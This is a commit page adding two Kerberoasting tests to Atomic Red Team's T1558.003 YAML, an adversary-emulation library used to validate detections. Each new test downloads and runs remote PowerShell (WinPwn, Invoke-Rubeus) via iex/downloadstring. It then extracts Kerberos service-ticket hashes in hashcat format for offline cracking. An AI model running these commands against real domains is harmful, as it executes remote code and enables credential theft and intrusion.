security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update T1558.003.yaml (#1955)

Browse Source 
* Update T1558.003.yaml

Kerberoasting technique via function of WinPwn
PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn

* Update T1558.003.yaml

update fix

* Update T1558.003.yaml

final fix/update

* Update T1558.003.yaml

update and fixed

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
tlor89
2022-05-12 18:36:14 -05:00
committed by GitHub
parent 88d3944f20
commit 4530cd085e
1 changed files with 21 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/T1558.003/T1558.003.yaml
+21
View File
@@ -149,3 +149,24 @@ atomic_tests:
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
name: powershell
- name: WinPwn - Kerberoasting
description: Kerberoasting technique via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Kerberoasting -consoleoutput -noninteractive
name: powershell
- name: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus
description: PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
name: powershell